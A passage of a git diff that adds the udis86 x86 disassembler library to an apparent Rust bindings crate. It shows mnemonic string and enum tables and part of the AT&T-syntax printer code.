"vmovlps", + "vmovmskpd", + "vmovmskps", + "vmovntdq", + "vmovntdqa", + "vmovntpd", + "vmovntps", + "vmovq", + "vmovsd", + "vmovshdup", + "vmovsldup", + "vmovss", + "vmovupd", + "vmovups", + "vmpsadbw", + "vmptrld", + "vmptrst", + "vmread", + "vmresume", + "vmrun", + "vmsave", + "vmulpd", + "vmulps", + "vmulsd", + "vmulss", + "vmwrite", + "vmxoff", + "vmxon", + "vorpd", + "vorps", + "vpabsb", + "vpabsd", + "vpabsw", + "vpackssdw", + "vpacksswb", + "vpackusdw", + "vpackuswb", + "vpaddb", + "vpaddd", + "vpaddq", + "vpaddsb", + "vpaddsw", + "vpaddusb", + "vpaddusw", + "vpaddw", + "vpalignr", + "vpand", + "vpandn", + "vpavgb", + "vpavgw", + "vpblendvb", + "vpblendw", + "vpclmulqdq", + "vpcmpeqb", + "vpcmpeqd", + "vpcmpeqq", + "vpcmpeqw", + "vpcmpestri", + "vpcmpestrm", + "vpcmpgtb", + "vpcmpgtd", + "vpcmpgtq", + "vpcmpgtw", + "vpcmpistri", + "vpcmpistrm", + "vperm2f128", + "vpermilpd", + "vpermilps", + "vpextrb", + "vpextrd", + "vpextrq", + "vpextrw", + "vphaddd", + "vphaddsw", + "vphaddw", + "vphminposuw", + "vphsubd", + "vphsubsw", + "vphsubw", + "vpinsrb", + "vpinsrd", + "vpinsrq", + "vpinsrw", + "vpmaddubsw", + "vpmaddwd", + "vpmaxsb", + "vpmaxsd", + "vpmaxsw", + "vpmaxub", + "vpmaxud", + "vpmaxuw", + "vpminsb", + "vpminsd", + "vpminsw", + "vpminub", + "vpminud", + "vpminuw", + "vpmovmskb", + "vpmovsxbd", + "vpmovsxbq", + "vpmovsxbw", + "vpmovsxwd", + "vpmovsxwq", + "vpmovzxbd", + "vpmovzxbq", + "vpmovzxbw", + "vpmovzxdq", + "vpmovzxwd", + "vpmovzxwq", + "vpmuldq", + "vpmulhrsw", + "vpmulhuw", + "vpmulhw", + "vpmulld", + "vpmullw", + "vpor", + "vpsadbw", + "vpshufb", + "vpshufd", + "vpshufhw", + "vpshuflw", + "vpsignb", + "vpsignd", + "vpsignw", + "vpslld", + "vpslldq", + "vpsllq", + "vpsllw", + "vpsrad", + "vpsraw", + "vpsrld", + "vpsrldq", + "vpsrlq", + "vpsrlw", + "vpsubb", + "vpsubd", + "vpsubq", + "vpsubsb", + "vpsubsw", + "vpsubusb", + "vpsubusw", + "vpsubw", + "vptest", + "vpunpckhbw", + "vpunpckhdq", + "vpunpckhqdq", + "vpunpckhwd", + "vpunpcklbw", + "vpunpckldq", + "vpunpcklqdq", + "vpunpcklwd", + "vpxor", + "vrcpps", + "vrcpss", + "vroundpd", + "vroundps", + "vroundsd", + "vroundss", + "vrsqrtps", + "vrsqrtss", + "vshufpd", + "vshufps", + "vsqrtpd", + "vsqrtps", + "vsqrtsd", + "vsqrtss", + "vstmxcsr", + "vsubpd", + "vsubps", + "vsubsd", + "vsubss", + "vtestpd", + "vtestps", + "vucomisd", + "vucomiss", + "vunpckhpd", + "vunpckhps", + "vunpcklpd", + "vunpcklps", + "vxorpd", + "vxorps", + "vzeroall", + "vzeroupper", + "wait", + "wbinvd", + "wrmsr", + "xadd", + "xchg", + "xcryptcbc", + "xcryptcfb", + "xcryptctr", + "xcryptecb", + "xcryptofb", + "xgetbv", + "xlatb", + "xor", + "xorpd", + "xorps", + "xrstor", + "xsave", + "xsetbv", + "xsha1", + "xsha256", + "xstore", + "invalid", + "3dnow", + "none", + "db", + "pause" +}; diff --git a/lib/libudis86-sys/libudis86/itab.h b/lib/libudis86-sys/libudis86/itab.h new file mode 100644 index 0000000..3d54c43 --- /dev/null +++ b/lib/libudis86-sys/libudis86/itab.h @@ -0,0 +1,939 @@ +#ifndef UD_ITAB_H +#define UD_ITAB_H + +/* itab.h -- generated by udis86:scripts/ud_itab.py, do no edit */ + +/* ud_table_type -- lookup table types (see decode.c) */ +enum ud_table_type { + UD_TAB__OPC_VEX, + UD_TAB__OPC_TABLE, + UD_TAB__OPC_X87, + UD_TAB__OPC_MOD, + UD_TAB__OPC_RM, + UD_TAB__OPC_OSIZE, + UD_TAB__OPC_MODE, + UD_TAB__OPC_VEX_L, + UD_TAB__OPC_3DNOW, + UD_TAB__OPC_REG, + UD_TAB__OPC_ASIZE, + UD_TAB__OPC_VEX_W, + UD_TAB__OPC_SSE, + UD_TAB__OPC_VENDOR +}; + +/* ud_mnemonic -- mnemonic constants */ +enum ud_mnemonic_code { + UD_Iaaa, + UD_Iaad, + UD_Iaam, + UD_Iaas, + UD_Iadc, + UD_Iadd, + UD_Iaddpd, + UD_Iaddps, + UD_Iaddsd, + UD_Iaddss, + UD_Iaddsubpd, + UD_Iaddsubps, + UD_Iaesdec, + UD_Iaesdeclast, + UD_Iaesenc, + UD_Iaesenclast, + UD_Iaesimc, + UD_Iaeskeygenassist, + UD_Iand, + UD_Iandnpd, + UD_Iandnps, + UD_Iandpd, + UD_Iandps, + UD_Iarpl, + UD_Iblendpd, + UD_Iblendps, + UD_Iblendvpd, + UD_Iblendvps, + UD_Ibound, + UD_Ibsf, + UD_Ibsr, + UD_Ibswap, + UD_Ibt, + UD_Ibtc, + UD_Ibtr, + UD_Ibts, + UD_Icall, + UD_Icbw, + UD_Icdq, + UD_Icdqe, + UD_Iclc, + UD_Icld, + UD_Iclflush, + UD_Iclgi, + UD_Icli, + UD_Iclts, + UD_Icmc, + UD_Icmova, + UD_Icmovae, + UD_Icmovb, + UD_Icmovbe, + UD_Icmovg, + UD_Icmovge, + UD_Icmovl, + UD_Icmovle, + UD_Icmovno, + UD_Icmovnp, + UD_Icmovns, + UD_Icmovnz, + UD_Icmovo, + UD_Icmovp, + UD_Icmovs, + UD_Icmovz, + UD_Icmp, + UD_Icmppd, + UD_Icmpps, + UD_Icmpsb, + UD_Icmpsd, + UD_Icmpsq, + UD_Icmpss, + UD_Icmpsw, + UD_Icmpxchg, + UD_Icmpxchg16b, + UD_Icmpxchg8b, + UD_Icomisd, + UD_Icomiss, + UD_Icpuid, + UD_Icqo, + UD_Icrc32, + UD_Icvtdq2pd, + UD_Icvtdq2ps, + UD_Icvtpd2dq, + UD_Icvtpd2pi, + UD_Icvtpd2ps, + UD_Icvtpi2pd, + UD_Icvtpi2ps, + UD_Icvtps2dq, + UD_Icvtps2pd, + UD_Icvtps2pi, + UD_Icvtsd2si, + UD_Icvtsd2ss, + UD_Icvtsi2sd, + UD_Icvtsi2ss, + UD_Icvtss2sd, + UD_Icvtss2si, + UD_Icvttpd2dq, + UD_Icvttpd2pi, + UD_Icvttps2dq, + UD_Icvttps2pi, + UD_Icvttsd2si, + UD_Icvttss2si, + UD_Icwd, + UD_Icwde, + UD_Idaa, + UD_Idas, + UD_Idec, + UD_Idiv, + UD_Idivpd, + UD_Idivps, + UD_Idivsd, + UD_Idivss, + UD_Idppd, + UD_Idpps, + UD_Iemms, + UD_Ienter, + UD_Iextractps, + UD_If2xm1, + UD_Ifabs, + UD_Ifadd, + UD_Ifaddp, + UD_Ifbld, + UD_Ifbstp, + UD_Ifchs, + UD_Ifclex, + UD_Ifcmovb, + UD_Ifcmovbe, + UD_Ifcmove, + UD_Ifcmovnb, + UD_Ifcmovnbe, + UD_Ifcmovne, + UD_Ifcmovnu, + UD_Ifcmovu, + UD_Ifcom, + UD_Ifcom2, + UD_Ifcomi, + UD_Ifcomip, + UD_Ifcomp, + UD_Ifcomp3, + UD_Ifcomp5, + UD_Ifcompp, + UD_Ifcos, + UD_Ifdecstp, + UD_Ifdiv, + UD_Ifdivp, + UD_Ifdivr, + UD_Ifdivrp, + UD_Ifemms, + UD_Iffree, + UD_Iffreep, + UD_Ifiadd, + UD_Ificom, + UD_Ificomp, + UD_Ifidiv, + UD_Ifidivr, + UD_Ifild, + UD_Ifimul, + UD_Ifincstp, + UD_Ifist, + UD_Ifistp, + UD_Ifisttp, + UD_Ifisub, + UD_Ifisubr, + UD_Ifld, + UD_Ifld1, + UD_Ifldcw, + UD_Ifldenv, + UD_Ifldl2e, + UD_Ifldl2t, + UD_Ifldlg2, + UD_Ifldln2, + UD_Ifldpi, + UD_Ifldz, + UD_Ifmul, + UD_Ifmulp, + UD_Ifndisi, + UD_Ifneni, + UD_Ifninit, + UD_Ifnop, + UD_Ifnsave, + UD_Ifnsetpm, + UD_Ifnstcw, + UD_Ifnstenv, + UD_Ifnstsw, + UD_Ifpatan, + UD_Ifprem, + UD_Ifprem1, + UD_Ifptan, + UD_Ifrndint, + UD_Ifrstor, + UD_Ifrstpm, + UD_Ifscale, + UD_Ifsin, + UD_Ifsincos, + UD_Ifsqrt, + UD_Ifst, + UD_Ifstp, + UD_Ifstp1, + UD_Ifstp8, + UD_Ifstp9, + UD_Ifsub, + UD_Ifsubp, + UD_Ifsubr, + UD_Ifsubrp, + UD_Iftst, + UD_Ifucom, + UD_Ifucomi, + UD_Ifucomip, + UD_Ifucomp, + UD_Ifucompp, + UD_Ifxam, + UD_Ifxch, + UD_Ifxch4, + UD_Ifxch7, + UD_Ifxrstor, + UD_Ifxsave, + UD_Ifxtract, + UD_Ifyl2x, + UD_Ifyl2xp1, + UD_Igetsec, + UD_Ihaddpd, + UD_Ihaddps, + UD_Ihlt, + UD_Ihsubpd, + UD_Ihsubps, + UD_Iidiv, + UD_Iimul, + UD_Iin, + UD_Iinc, + UD_Iinsb, + UD_Iinsd, + UD_Iinsertps, + UD_Iinsw, + UD_Iint, + UD_Iint1, + UD_Iint3, + UD_Iinto, + UD_Iinvd, + UD_Iinvept, + UD_Iinvlpg, + UD_Iinvlpga, + UD_Iinvvpid, + UD_Iiretd, + UD_Iiretq, + UD_Iiretw, + UD_Ija, + UD_Ijae, + UD_Ijb, + UD_Ijbe, + UD_Ijcxz, + UD_Ijecxz, + UD_Ijg, + UD_Ijge, + UD_Ijl, + UD_Ijle, + UD_Ijmp, + UD_Ijno, + UD_Ijnp, + UD_Ijns, + UD_Ijnz, + UD_Ijo, + UD_Ijp, + UD_Ijrcxz, + UD_Ijs, + UD_Ijz, + UD_Ilahf, + UD_Ilar, + UD_Ilddqu, + UD_Ildmxcsr, + UD_Ilds, + UD_Ilea, + UD_Ileave, + UD_Iles, + UD_Ilfence, + UD_Ilfs, + UD_Ilgdt, + UD_Ilgs, + UD_Ilidt, + UD_Illdt, + UD_Ilmsw, + UD_Ilock, + UD_Ilodsb, + UD_Ilodsd, + UD_Ilodsq, + UD_Ilodsw, + UD_Iloop, + UD_Iloope, + UD_Iloopne, + UD_Ilsl, + UD_Ilss, + UD_Iltr, + UD_Imaskmovdqu, + UD_Imaskmovq, + UD_Imaxpd, + UD_Imaxps, + UD_Imaxsd, + UD_Imaxss, + UD_Imfence, + UD_Iminpd, + UD_Iminps, + UD_Iminsd, + UD_Iminss, + UD_Imonitor, + UD_Imontmul, + UD_Imov, + UD_Imovapd, + UD_Imovaps, + UD_Imovbe, + UD_Imovd, + UD_Imovddup, + UD_Imovdq2q, + UD_Imovdqa, + UD_Imovdqu, + UD_Imovhlps, + UD_Imovhpd, + UD_Imovhps, + UD_Imovlhps, + UD_Imovlpd, + UD_Imovlps, + UD_Imovmskpd, + UD_Imovmskps, + UD_Imovntdq, + UD_Imovntdqa, + UD_Imovnti, + UD_Imovntpd, + UD_Imovntps, + UD_Imovntq, + UD_Imovq, + UD_Imovq2dq, + UD_Imovsb, + UD_Imovsd, + UD_Imovshdup, + UD_Imovsldup, + UD_Imovsq, + UD_Imovss, + UD_Imovsw, + UD_Imovsx, + UD_Imovsxd, + UD_Imovupd, + UD_Imovups, + UD_Imovzx, + UD_Impsadbw, + UD_Imul, + UD_Imulpd, + UD_Imulps, + UD_Imulsd, + UD_Imulss, + UD_Imwait, + UD_Ineg, + UD_Inop, + UD_Inot, + UD_Ior, + UD_Iorpd, + UD_Iorps, + UD_Iout, + UD_Ioutsb, + UD_Ioutsd, + UD_Ioutsw, + UD_Ipabsb, + UD_Ipabsd, + UD_Ipabsw, + UD_Ipackssdw, + UD_Ipacksswb, + UD_Ipackusdw, + UD_Ipackuswb, + UD_Ipaddb, + UD_Ipaddd, + UD_Ipaddq, + UD_Ipaddsb, + UD_Ipaddsw, + UD_Ipaddusb, + UD_Ipaddusw, + UD_Ipaddw, + UD_Ipalignr, + UD_Ipand, + UD_Ipandn, + UD_Ipavgb, + UD_Ipavgusb, + UD_Ipavgw, + UD_Ipblendvb, + UD_Ipblendw, + UD_Ipclmulqdq, + UD_Ipcmpeqb, + UD_Ipcmpeqd, + UD_Ipcmpeqq, + UD_Ipcmpeqw, + UD_Ipcmpestri, + UD_Ipcmpestrm, + UD_Ipcmpgtb, + UD_Ipcmpgtd, + UD_Ipcmpgtq, + UD_Ipcmpgtw, + UD_Ipcmpistri, + UD_Ipcmpistrm, + UD_Ipextrb, + UD_Ipextrd, + UD_Ipextrq, + UD_Ipextrw, + UD_Ipf2id, + UD_Ipf2iw, + UD_Ipfacc, + UD_Ipfadd, + UD_Ipfcmpeq, + UD_Ipfcmpge, + UD_Ipfcmpgt, + UD_Ipfmax, + UD_Ipfmin, + UD_Ipfmul, + UD_Ipfnacc, + UD_Ipfpnacc, + UD_Ipfrcp, + UD_Ipfrcpit1, + UD_Ipfrcpit2, + UD_Ipfrsqit1, + UD_Ipfrsqrt, + UD_Ipfsub, + UD_Ipfsubr, + UD_Iphaddd, + UD_Iphaddsw, + UD_Iphaddw, + UD_Iphminposuw, + UD_Iphsubd, + UD_Iphsubsw, + UD_Iphsubw, + UD_Ipi2fd, + UD_Ipi2fw, + UD_Ipinsrb, + UD_Ipinsrd, + UD_Ipinsrq, + UD_Ipinsrw, + UD_Ipmaddubsw, + UD_Ipmaddwd, + UD_Ipmaxsb, + UD_Ipmaxsd, + UD_Ipmaxsw, + UD_Ipmaxub, + UD_Ipmaxud, + UD_Ipmaxuw, + UD_Ipminsb, + UD_Ipminsd, + UD_Ipminsw, + UD_Ipminub, + UD_Ipminud, + UD_Ipminuw, + UD_Ipmovmskb, + UD_Ipmovsxbd, + UD_Ipmovsxbq, + UD_Ipmovsxbw, + UD_Ipmovsxdq, + UD_Ipmovsxwd, + UD_Ipmovsxwq, + UD_Ipmovzxbd, + UD_Ipmovzxbq, + UD_Ipmovzxbw, + UD_Ipmovzxdq, + UD_Ipmovzxwd, + UD_Ipmovzxwq, + UD_Ipmuldq, + UD_Ipmulhrsw, + UD_Ipmulhrw, + UD_Ipmulhuw, + UD_Ipmulhw, + UD_Ipmulld, + UD_Ipmullw, + UD_Ipmuludq, + UD_Ipop, + UD_Ipopa, + UD_Ipopad, + UD_Ipopcnt, + UD_Ipopfd, + UD_Ipopfq, + UD_Ipopfw, + UD_Ipor, + UD_Iprefetch, + UD_Iprefetchnta, + UD_Iprefetcht0, + UD_Iprefetcht1, + UD_Iprefetcht2, + UD_Ipsadbw, + UD_Ipshufb, + UD_Ipshufd, + UD_Ipshufhw, + UD_Ipshuflw, + UD_Ipshufw, + UD_Ipsignb, + UD_Ipsignd, + UD_Ipsignw, + UD_Ipslld, + UD_Ipslldq, + UD_Ipsllq, + UD_Ipsllw, + UD_Ipsrad, + UD_Ipsraw, + UD_Ipsrld, + UD_Ipsrldq, + UD_Ipsrlq, + UD_Ipsrlw, + UD_Ipsubb, + UD_Ipsubd, + UD_Ipsubq, + UD_Ipsubsb, + UD_Ipsubsw, + UD_Ipsubusb, + UD_Ipsubusw, + UD_Ipsubw, + UD_Ipswapd, + UD_Iptest, + UD_Ipunpckhbw, + UD_Ipunpckhdq, + UD_Ipunpckhqdq, + UD_Ipunpckhwd, + UD_Ipunpcklbw, + UD_Ipunpckldq, + UD_Ipunpcklqdq, + UD_Ipunpcklwd, + UD_Ipush, + UD_Ipusha, + UD_Ipushad, + UD_Ipushfd, + UD_Ipushfq, + UD_Ipushfw, + UD_Ipxor, + UD_Ircl, + UD_Ircpps, + UD_Ircpss, + UD_Ircr, + UD_Irdmsr, + UD_Irdpmc, + UD_Irdrand, + UD_Irdtsc, + UD_Irdtscp, + UD_Irep, + UD_Irepne, + UD_Iret, + UD_Iretf, + UD_Irol, + UD_Iror, + UD_Iroundpd, + UD_Iroundps, + UD_Iroundsd, + UD_Iroundss, + UD_Irsm, + UD_Irsqrtps, + UD_Irsqrtss, + UD_Isahf, + UD_Isalc, + UD_Isar, + UD_Isbb, + UD_Iscasb, + UD_Iscasd, + UD_Iscasq, + UD_Iscasw, + UD_Iseta, + UD_Isetae, + UD_Isetb, + UD_Isetbe, + UD_Isetg, + UD_Isetge, + UD_Isetl, + UD_Isetle, + UD_Isetno, + UD_Isetnp, + UD_Isetns, + UD_Isetnz, + UD_Iseto, + UD_Isetp, + UD_Isets, + UD_Isetz, + UD_Isfence, + UD_Isgdt, + UD_Ishl, + UD_Ishld, + UD_Ishr, + UD_Ishrd, + UD_Ishufpd, + UD_Ishufps, + UD_Isidt, + UD_Iskinit, + UD_Isldt, + UD_Ismsw, + UD_Isqrtpd, + UD_Isqrtps, + UD_Isqrtsd, + UD_Isqrtss, + UD_Istc, + UD_Istd, + UD_Istgi, + UD_Isti, + UD_Istmxcsr, + UD_Istosb, + UD_Istosd, + UD_Istosq, + UD_Istosw, + UD_Istr, + UD_Isub, + UD_Isubpd, + UD_Isubps, + UD_Isubsd, + UD_Isubss, + UD_Iswapgs, + UD_Isyscall, + UD_Isysenter, + UD_Isysexit, + UD_Isysret, + UD_Itest, + UD_Iucomisd, + UD_Iucomiss, + UD_Iud2, + UD_Iunpckhpd, + UD_Iunpckhps, + UD_Iunpcklpd, + UD_Iunpcklps, + UD_Ivaddpd, + UD_Ivaddps, + UD_Ivaddsd, + UD_Ivaddss, + UD_Ivaddsubpd, + UD_Ivaddsubps, + UD_Ivaesdec, + UD_Ivaesdeclast, + UD_Ivaesenc, + UD_Ivaesenclast, + UD_Ivaesimc, + UD_Ivaeskeygenassist, + UD_Ivandnpd, + UD_Ivandnps, + UD_Ivandpd, + UD_Ivandps, + UD_Ivblendpd, + UD_Ivblendps, + UD_Ivblendvpd, + UD_Ivblendvps, + UD_Ivbroadcastsd, + UD_Ivbroadcastss, + UD_Ivcmppd, + UD_Ivcmpps, + UD_Ivcmpsd, + UD_Ivcmpss, + UD_Ivcomisd, + UD_Ivcomiss, + UD_Ivcvtdq2pd, + UD_Ivcvtdq2ps, + UD_Ivcvtpd2dq, + UD_Ivcvtpd2ps, + UD_Ivcvtps2dq, + UD_Ivcvtps2pd, + UD_Ivcvtsd2si, + UD_Ivcvtsd2ss, + UD_Ivcvtsi2sd, + UD_Ivcvtsi2ss, + UD_Ivcvtss2sd, + UD_Ivcvtss2si, + UD_Ivcvttpd2dq, + UD_Ivcvttps2dq, + UD_Ivcvttsd2si, + UD_Ivcvttss2si, + UD_Ivdivpd, + UD_Ivdivps, + UD_Ivdivsd, + UD_Ivdivss, + UD_Ivdppd, + UD_Ivdpps, + UD_Iverr, + UD_Iverw, + UD_Ivextractf128, + UD_Ivextractps, + UD_Ivhaddpd, + UD_Ivhaddps, + UD_Ivhsubpd, + UD_Ivhsubps, + UD_Ivinsertf128, + UD_Ivinsertps, + UD_Ivlddqu, + UD_Ivmaskmovdqu, + UD_Ivmaskmovpd, + UD_Ivmaskmovps, + UD_Ivmaxpd, + UD_Ivmaxps, + UD_Ivmaxsd, + UD_Ivmaxss, + UD_Ivmcall, + UD_Ivmclear, + UD_Ivminpd, + UD_Ivminps, + UD_Ivminsd, + UD_Ivminss, + UD_Ivmlaunch, + UD_Ivmload, + UD_Ivmmcall, + UD_Ivmovapd, + UD_Ivmovaps, + UD_Ivmovd, + UD_Ivmovddup, + UD_Ivmovdqa, + UD_Ivmovdqu, + UD_Ivmovhlps, + UD_Ivmovhpd, + UD_Ivmovhps, + UD_Ivmovlhps, + UD_Ivmovlpd, + UD_Ivmovlps, + UD_Ivmovmskpd, + UD_Ivmovmskps, + UD_Ivmovntdq, + UD_Ivmovntdqa, + UD_Ivmovntpd, + UD_Ivmovntps, + UD_Ivmovq, + UD_Ivmovsd, + UD_Ivmovshdup, + UD_Ivmovsldup, + UD_Ivmovss, + UD_Ivmovupd, + UD_Ivmovups, + UD_Ivmpsadbw, + UD_Ivmptrld, + UD_Ivmptrst, + UD_Ivmread, + UD_Ivmresume, + UD_Ivmrun, + UD_Ivmsave, + UD_Ivmulpd, + UD_Ivmulps, + UD_Ivmulsd, + UD_Ivmulss, + UD_Ivmwrite, + UD_Ivmxoff, + UD_Ivmxon, + UD_Ivorpd, + UD_Ivorps, + UD_Ivpabsb, + UD_Ivpabsd, + UD_Ivpabsw, + UD_Ivpackssdw, + UD_Ivpacksswb, + UD_Ivpackusdw, + UD_Ivpackuswb, + UD_Ivpaddb, + UD_Ivpaddd, + UD_Ivpaddq, + UD_Ivpaddsb, + UD_Ivpaddsw, + UD_Ivpaddusb, + UD_Ivpaddusw, + UD_Ivpaddw, + UD_Ivpalignr, + UD_Ivpand, + UD_Ivpandn, + UD_Ivpavgb, + UD_Ivpavgw, + UD_Ivpblendvb, + UD_Ivpblendw, + UD_Ivpclmulqdq, + UD_Ivpcmpeqb, + UD_Ivpcmpeqd, + UD_Ivpcmpeqq, + UD_Ivpcmpeqw, + UD_Ivpcmpestri, + UD_Ivpcmpestrm, + UD_Ivpcmpgtb, + UD_Ivpcmpgtd, + UD_Ivpcmpgtq, + UD_Ivpcmpgtw, + UD_Ivpcmpistri, + UD_Ivpcmpistrm, + UD_Ivperm2f128, + UD_Ivpermilpd, + UD_Ivpermilps, + UD_Ivpextrb, + UD_Ivpextrd, + UD_Ivpextrq, + UD_Ivpextrw, + UD_Ivphaddd, + UD_Ivphaddsw, + UD_Ivphaddw, + UD_Ivphminposuw, + UD_Ivphsubd, + UD_Ivphsubsw, + UD_Ivphsubw, + UD_Ivpinsrb, + UD_Ivpinsrd, + UD_Ivpinsrq, + UD_Ivpinsrw, + UD_Ivpmaddubsw, + UD_Ivpmaddwd, + UD_Ivpmaxsb, + UD_Ivpmaxsd, + UD_Ivpmaxsw, + UD_Ivpmaxub, + UD_Ivpmaxud, + UD_Ivpmaxuw, + UD_Ivpminsb, + UD_Ivpminsd, + UD_Ivpminsw, + UD_Ivpminub, + UD_Ivpminud, + UD_Ivpminuw, + UD_Ivpmovmskb, + UD_Ivpmovsxbd, + UD_Ivpmovsxbq, + UD_Ivpmovsxbw, + UD_Ivpmovsxwd, + UD_Ivpmovsxwq, + UD_Ivpmovzxbd, + UD_Ivpmovzxbq, + UD_Ivpmovzxbw, + UD_Ivpmovzxdq, + UD_Ivpmovzxwd, + UD_Ivpmovzxwq, + UD_Ivpmuldq, + UD_Ivpmulhrsw, + UD_Ivpmulhuw, + UD_Ivpmulhw, + UD_Ivpmulld, + UD_Ivpmullw, + UD_Ivpor, + UD_Ivpsadbw, + UD_Ivpshufb, + UD_Ivpshufd, + UD_Ivpshufhw, + UD_Ivpshuflw, + UD_Ivpsignb, + UD_Ivpsignd, + UD_Ivpsignw, + UD_Ivpslld, + UD_Ivpslldq, + UD_Ivpsllq, + UD_Ivpsllw, + UD_Ivpsrad, + UD_Ivpsraw, + UD_Ivpsrld, + UD_Ivpsrldq, + UD_Ivpsrlq, + UD_Ivpsrlw, + UD_Ivpsubb, + UD_Ivpsubd, + UD_Ivpsubq, + UD_Ivpsubsb, + UD_Ivpsubsw, + UD_Ivpsubusb, + UD_Ivpsubusw, + UD_Ivpsubw, + UD_Ivptest, + UD_Ivpunpckhbw, + UD_Ivpunpckhdq, + UD_Ivpunpckhqdq, + UD_Ivpunpckhwd, + UD_Ivpunpcklbw, + UD_Ivpunpckldq, + UD_Ivpunpcklqdq, + UD_Ivpunpcklwd, + UD_Ivpxor, + UD_Ivrcpps, + UD_Ivrcpss, + UD_Ivroundpd, + UD_Ivroundps, + UD_Ivroundsd, + UD_Ivroundss, + UD_Ivrsqrtps, + UD_Ivrsqrtss, + UD_Ivshufpd, + UD_Ivshufps, + UD_Ivsqrtpd, + UD_Ivsqrtps, + UD_Ivsqrtsd, + UD_Ivsqrtss, + UD_Ivstmxcsr, + UD_Ivsubpd, + UD_Ivsubps, + UD_Ivsubsd, + UD_Ivsubss, + UD_Ivtestpd, + UD_Ivtestps, + UD_Ivucomisd, + UD_Ivucomiss, + UD_Ivunpckhpd, + UD_Ivunpckhps, + UD_Ivunpcklpd, + UD_Ivunpcklps, + UD_Ivxorpd, + UD_Ivxorps, + UD_Ivzeroall, + UD_Ivzeroupper, + UD_Iwait, + UD_Iwbinvd, + UD_Iwrmsr, + UD_Ixadd, + UD_Ixchg, + UD_Ixcryptcbc, + UD_Ixcryptcfb, + UD_Ixcryptctr, + UD_Ixcryptecb, + UD_Ixcryptofb, + UD_Ixgetbv, + UD_Ixlatb, + UD_Ixor, + UD_Ixorpd, + UD_Ixorps, + UD_Ixrstor, + UD_Ixsave, + UD_Ixsetbv, + UD_Ixsha1, + UD_Ixsha256, + UD_Ixstore, + UD_Iinvalid, + UD_I3dnow, + UD_Inone, + UD_Idb, + UD_Ipause, + UD_MAX_MNEMONIC_CODE +}; + +extern const char * ud_mnemonics_str[]; + +#endif /* UD_ITAB_H */ diff --git a/lib/libudis86-sys/libudis86/syn-att.c b/lib/libudis86-sys/libudis86/syn-att.c new file mode 100644 index 0000000..d1ba89b --- /dev/null +++ b/lib/libudis86-sys/libudis86/syn-att.c @@ -0,0 +1,228 @@ +/* udis86 - libudis86/syn-att.c + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "types.h" +#include "extern.h" +#include "decode.h" +#include "itab.h" +#include "syn.h" +#include "udint.h" + +/* ----------------------------------------------------------------------------- + * opr_cast() - Prints an operand cast. + * ----------------------------------------------------------------------------- + */ +static void +opr_cast(struct ud* u, struct ud_operand* op) +{ + switch(op->size) { + case 16 : case 32 : + ud_asmprintf(u, "*"); break; + default: break; + } +} + +/* ----------------------------------------------------------------------------- + * gen_operand() - Generates assembly output for each operand. + * ----------------------------------------------------------------------------- + */ +static void +gen_operand(struct ud* u, struct ud_operand* op) +{ + switch(op->type) { + case UD_OP_CONST: + ud_asmprintf(u, "$0x%x", op->lval.udword); + break; + + case UD_OP_REG: + ud_asmprintf(u, "%%%s", ud_reg_tab[op->base - UD_R_AL]); + break; + + case UD_OP_MEM: + if (u->br_far) { + opr_cast(u, op); + } + if (u->pfx_seg) { + ud_asmprintf(u, "%%%s:", ud_reg_tab[u->pfx_seg - UD_R_AL]); + } + if (op->offset != 0) { + ud_syn_print_mem_disp(u, op, 0); + } + if (op->base) { + ud_asmprintf(u, "(%%%s", ud_reg_tab[op->base - UD_R_AL]); + } + if (op->index) { + if (op->base) { + ud_asmprintf(u, ","); + } else { + ud_asmprintf(u, "("); + } + ud_asmprintf(u, "%%%s", ud_reg_tab[op->index - UD_R_AL]); + } + if (op->scale) { + ud_asmprintf(u, ",%d", op->scale); + } + if (op->base || op->index) { + ud_asmprintf(u, ")"); + } + break; + + case UD_OP_IMM: + ud_asmprintf(u, "$"); + ud_syn_print_imm(u, op); + break; + + case UD_OP_JIMM: + ud_syn_print_addr(u, ud_syn_rel_target(u, op)); + break; + + case UD_OP_PTR: + switch (op->size) { + case 32: + ud_asmprintf(u, "$0x%x, $0x%x", op->lval.ptr.seg, + op->lval.ptr.off & 0xFFFF); + break; + case 48: + ud_asmprintf(u, "$0x%x, $0x%x", op->lval.ptr.seg, + op->lval.ptr.off); + break; + } + break; + + default: return; + } +} + +/* ============================================================================= + * translates to AT&T syntax + * ============================================================================= + */ +extern void +ud_translate_att(struct ud *u) +{ + int size = 0; + int star = 0; + + /* check if P_OSO prefix is used */ + if (! P_OSO(u->itab_entry->prefix) && u->pfx_opr) { + switch (u->dis_mode) { + case 16: + ud_asmprintf(u, "o32 "); + break; + case 32: + case 64: + ud_asmprintf(u, "o16 "); + break; + } + } + + /* check if P_ASO prefix was used */ + if (! P_ASO(u->itab_entry->prefix) && u->pfx_adr) { + switch (u->dis_mode) { + case 16: + ud_asmprintf(u, "a32 "); + break; + case 32: + ud_asmprintf(u, "a16 "); + break; + case 64: + ud_asmprintf(u, "a32 "); + break; + } + } + + if (u->pfx_lock) + ud_asmprintf(u, "lock "); + if (u->pfx_rep) { + ud_asmprintf(u, "rep "); + } else if (u->pfx_repe) { + ud_asmprintf(u, "repe "); + } else if (u->pfx_repne) { + ud_asmprintf(u, "repne "); + } + + /* special instructions */ + switch 